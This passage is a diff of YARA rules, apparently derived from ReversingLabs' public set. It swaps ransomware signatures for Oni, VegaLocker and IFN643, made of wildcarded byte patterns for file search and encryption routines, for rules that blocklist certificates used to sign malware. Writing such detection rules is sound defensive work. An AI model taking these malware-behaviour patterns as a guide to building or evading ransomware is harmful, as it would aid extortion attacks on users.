2D ?? 11 ?? 72 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 03 28 ?? ?? ?? ?? 00 00 00 - DE ?? 26 00 00 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A - } - $encrypt_files = { - 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 06 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 0B 07 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 00 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F ?? ?? ?? - ?? 00 7E ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $setup_attack ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CodeDance Ltd" and ( pe.signatures [ i ] . serial == "00:ca:9b:6f:49:b8:b4:12:04:a1:74:c7:51:c7:3d:c3:93" or pe.signatures [ i ] . serial == "ca:9b:6f:49:b8:b4:12:04:a1:74:c7:51:c7:3d:c3:93" ) and 1654646400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_ONI : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Aaf65B8E7A2E68Bc8C9E8F27331B795C : INFO FILE { meta: - description = "Yara rule that detects Oni ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9190aee2-1119-546e-82ca-a7aba44a9d7f" - date = "2026-02-22" - date = "2026-02-22" - modified = "2020-12-07" + id = "ccb36b8b-301d-5cc2-9c8e-4956b92c1116" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Oni.yara#L1-L82" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16376-L16394" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "685abf5a5edba5bae19faaf6521ce617370cdab1404fe84d846e82a60182dfff" + logic_hash = "390d074da09d8e5b4bb2a6f4157a5125474ab5c22de62729d4fc4075edade289" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? - 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? - 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 83 EC ?? 8B D4 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 - ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 90 8A 01 41 84 - C0 75 ?? 2B CE 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 84 C0 74 ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? - ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? - ?? ?? C7 41 ?? ?? ?? ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 - ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 - ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 - ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 CD 5B E8 - ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 68 - ?? ?? ?? ?? 6A ?? 33 F6 89 55 ?? 56 56 50 89 4D ?? 89 75 ?? FF D7 85 C0 75 ?? 68 ?? - ?? ?? ?? 6A ?? 50 50 8D 45 ?? 50 FF D7 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8D 45 ?? - 89 75 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 - DB 74 ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? 53 57 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? - 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 89 01 53 FF 15 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? - 5B 8B 4D ?? 8B C6 5F 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $search_processes = { - 6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 44 24 ?? ?? 8D 84 24 ?? ?? ?? ?? FF 74 24 ?? C7 05 ?? - ?? ?? ?? ?? ?? ?? ?? 50 8D 44 24 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 05 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 83 EE ?? 4F 83 7E - ?? ?? 72 ?? 8B 1E 8B CE 56 E8 ?? ?? ?? ?? 8B 46 ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C3 ?? - 75 ?? 8B 43 ?? 3B C3 73 ?? 2B D8 83 FB ?? 72 ?? 83 FB ?? 77 ?? 8B D8 53 E8 ?? ?? ?? - ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ?? - 8B C6 8B CE C6 00 ?? E8 ?? ?? ?? ?? 85 FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 5F 5E 5B 8B E5 5D C3 E8 ?? ?? ?? ?? CC CC CC CC CC B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_processes ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALISA L LIMITED" and ( pe.signatures [ i ] . serial == "00:aa:f6:5b:8e:7a:2e:68:bc:8c:9e:8f:27:33:1b:79:5c" or pe.signatures [ i ] . serial == "aa:f6:5b:8e:7a:2e:68:bc:8c:9e:8f:27:33:1b:79:5c" ) and 1549324800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Vegalocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_C6Ed0Efe2844Fa44Aae350C6845C3331 : INFO FILE { meta: - description = "Yara rule that detects VegaLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "53eec8d1-bab0-5556-92c0-1b70eb763fa5" - date = "2020-06-26" - modified = "2020-07-15" + id = "d748bea4-8d2b-53b2-8184-ea0972ad9199" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.VegaLocker.yara#L1-L100" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16396-L16414" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8616e72fc435676179e83a304d4111c8f29ebf3cd79ff5b2d229cca8fc97c2a3" + logic_hash = "5c4afcd8ceb5cc2f1df2303183ede2081b86365eeee7d4e1319a8ed9a45bbf0b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "VegaLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? - ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 - ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 - ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? - ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 - ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 - 03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03 - C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 - 48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 - ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D - ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8D 45 ?? E8 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 - FF 30 64 89 20 C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 - ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68 - ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 - 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - 33 D2 8B 45 ?? 8B 08 FF 51 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B - 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C6 - 85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 - 64 89 10 EB ?? E9 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 - } - $encrypt_files_p2 = { - 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 - ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ?? - 0F 8E ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB - ?? 7E ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? - ?? 8D 45 ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ?? - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? - ?? 8D 45 ?? E8 ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ?? - ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 83 - BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA - } - $encrypt_files_p3 = { - E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? - EB ?? 8D 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B - 08 FF 51 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? - E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ?? - ?? ?? 59 EB ?? 55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? - ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE COMPANY OF WORDS LTD" and ( pe.signatures [ i ] . serial == "00:c6:ed:0e:fe:28:44:fa:44:aa:e3:50:c6:84:5c:33:31" or pe.signatures [ i ] . serial == "c6:ed:0e:fe:28:44:fa:44:aa:e3:50:c6:84:5c:33:31" ) and 1549324800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_IFN643 : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Ede6Cfbf9Fa18337B0Fdb49C1F693020 : INFO FILE { meta: - description = "Yara rule that detects IFN643 ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a4d211a7-6735-541e-885d-555bbc11e2cf" - date = "2020-06-26" - modified = "2020-07-15" + id = "0389d5ba-4535-5277-9c77-bd178e66417f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.IFN643.yara#L1-L90" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16416-L16434" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ced234018f1f05601dd3be55eaecd2a1e116ad0b7bb9e0292434f11f19916ebe" + logic_hash = "a7f18d0028cbc0001a196bc915b7881244a5833dd65f96dd7d2e8ab1b0622e0c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "IFN643" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files_1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B D6 C7 45 ?? ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 - ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? - 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 8D ?? - ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB - ?? 0F 84 - } - $search_files_2 = { - 80 BD ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 75 ?? 33 - C0 EB ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 85 ?? ?? ?? ?? - 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7 - E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 4D ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ?? - ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? - ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? - 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? - 8B 35 ?? ?? ?? ?? 33 DB 2B CE C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F7 E9 C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C1 FA ?? 8B C2 C6 85 ?? ?? ?? ?? ?? C1 E8 ?? 03 C2 74 ?? 33 FF ?? ?? ?? - 8D 45 ?? 8D 0C 37 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 89 45 ?? 8D 45 ?? 0F 43 - 45 ?? C6 00 ?? 8B 35 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B CE 43 F7 E9 83 - C7 ?? C1 FA ?? 8B C2 C1 E8 ?? 03 C2 3B D8 72 ?? 83 7D ?? ?? 76 ?? 8D 45 ?? B9 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7 E9 C1 - FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? - 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F - 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? - ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 - F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? 